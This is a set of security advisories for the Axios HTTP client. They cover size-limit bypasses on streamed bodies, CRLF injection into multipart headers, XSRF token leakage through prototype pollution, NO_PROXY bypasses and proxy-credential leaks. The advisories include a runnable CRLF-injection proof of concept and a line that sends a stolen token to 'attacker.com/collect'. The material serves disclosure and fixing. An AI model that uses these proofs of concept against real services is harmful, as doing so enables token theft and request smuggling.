For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

Details

Relevant flow in lib/adapters/http.js: - 556-564: maxBodyLength check applies only to buffered/non-stream data. - 681-682: maxRedirects === 0 selects native http/https transport. - 694-699: options.maxBodyLength is set, but native transport does not enforce it. - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

### PoC

Environment:

- Axios main at commit f7a4ee2 - Node v24.2.0

Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: - adapter: 'http' - maxBodyLength: 1024 - maxRedirects: 0

Observed: - Request succeeds; server reports received: 2097152.

Control checks: - Same stream with default/nonzero redirects: rejected with ERRFRMAXBODYLENGTHEXCEEDED. - Buffered body with maxRedirects: 0: rejected with ERRBADREQUEST.

### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment: - Axios main at commit f7a4ee2 - Node v24.2.0

Steps:

1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: - adapter: 'http' - responseType: 'stream' - maxContentLength: 1024 3. Read the returned stream fully.

Observed: - Success; full 2097152 bytes readable.

Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Summary The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

Details In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF}; } Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.

Attack chain:

1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences 2. The proxy appends the file to a FormData and posts it via axios.post(url, formData) 3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate

This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.

PoC Prerequisites: Node.js 18+, axios (tested on 1.14.0) const http = require('http'); const axios = require('axios');

let receivedBody = '';

const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); });

server.listen(0, '127.0.0.1', async () => { const port = server.address().port;

class SpecFormData { constructor() { this.entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this.entries.push([name, value]); } Symbol.iterator { return this.entriesSymbol.iterator; } entries() { return this.entriesSymbol.iterator; } }

const fd = new SpecFormData();

fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function() { yield Buffer.from('MALICIOUS PAYLOAD'); } });

await axios.post(http://127.0.0.1:${port}/upload, fd);

if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOTVULNERABLE]'); }

server.close(); });

Steps to reproduce:

1. npm install axios 2. Save the above as pocaxioscrlf.js 3. Run node pocaxioscrlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body

Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.

Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.

Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += Content-Type: ${safeType}${CRLF};

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact |

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }

Designed behavior: - true → always send token (explicit cross-origin opt-in) - false → never send token - undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []): - All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No

Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

- XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application - Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application - Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations: - Browser-only (XSRF logic runs only in hasStandardBrowserEnv) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } }

Resources

- CWE-201: Insertion of Sensitive Information Into Sent Data - CWE-183: Permissive List of Allowed Inputs - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.0, Axios does not correctly handle hostname normalization when checking NOPROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NOPROXY matching and go through the configured proxy. This goes against what developers expect and lets attackers force requests through a proxy, even if NOPROXY is set up to protect loopback or internal services. This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections. This vulnerability is fixed in 1.15.0.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.0, the Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass). This vulnerability is fixed in 1.15.0.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows. This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy. This vulnerability is fixed in 0.32.0 and 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.16.0, the Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. This vulnerability is fixed in 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios does not normalise IPv4-mapped IPv6 addresses. When NOPROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked. This vulnerability is fixed in 0.32.0 and 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.

Axios is a promise based HTTP client for the browser and Node.js. Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured. This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary. This vulnerability is fixed in 0.32.0 and 1.16.0.